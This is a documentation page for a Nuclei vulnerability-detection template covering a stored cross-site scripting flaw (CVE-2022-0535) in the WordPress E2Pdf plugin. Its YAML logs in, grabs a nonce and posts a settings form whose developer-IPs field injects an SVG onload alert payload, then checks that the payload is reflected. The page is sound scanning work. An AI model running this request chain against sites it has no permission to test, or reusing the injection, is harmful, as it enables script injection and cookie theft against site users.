WordPress E2Pdf <1.16.45 - Cross-Site Scripting
ID: CVE-2022-0535
Severity: medium
Author: theamanrawat
Tags: cve,cve2022,wp-plugin,xss,authenticated,e2pdf,wpscan,wordpress,wp
Description
Section titled “Description”WordPress E2Pdf plugin before 1.16.45 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, even when the unfiltered_html capability is disallowed. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, making it possible to steal cookie-based authentication credentials and launch other attacks.
YAML Source
Section titled “YAML Source”id: CVE-2022-0535
info: name: WordPress E2Pdf <1.16.45 - Cross-Site Scripting author: theamanrawat severity: medium description: | WordPress E2Pdf plugin before 1.16.45 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, even when the unfiltered_html capability is disallowed. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, making it possible to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: | Update the WordPress E2Pdf plugin to version 1.16.45 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/a4162e96-a3c5-4f38-a60b-aa3ed9508985 - https://wordpress.org/plugins/e2pdf/ - https://mikadmin.fr/tech/XSS-Stored-E2Pdf-798ef69b0e13c36acf5446358d57c965Dx90666bNvCw98.pdf - https://nvd.nist.gov/vuln/detail/CVE-2022-0535 - https://plugins.trac.wordpress.org/changeset/2675049/e2pdf classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.8 cve-id: CVE-2022-0535 cwe-id: CWE-79 epss-score: 0.00084 epss-percentile: 0.34344 cpe: cpe:2.3:a:e2pdf:e2pdf:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 4 vendor: e2pdf product: e2pdf framework: wordpress tags: cve,cve2022,wp-plugin,xss,authenticated,e2pdf,wpscan,wordpress,wp
http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
_nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes - | GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1 Host: {{Hostname}}
matchers-condition: and matchers: - type: dsl dsl: - contains(body_4, 'placeholder=\"Developer IPs\" ></textarea><svg/onload=alert(document.domain)>') - contains(header_4, "text/html") - status_code_4 == 200 condition: and
extractors: - type: regex name: nonce group: 1 regex: - 'name="_nonce" value="([0-9a-zA-Z]+)"' internal: true# digest: 4a0a00473045022100b5a695506f3cce6b403bc0cfc56f46af4f21f3a9227d3e313f2b805aba7d4ade0220592fcbc50591d9209df3964a51fddb7df58b28cf151e7865abdebe3782c6aebd:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0535.yaml"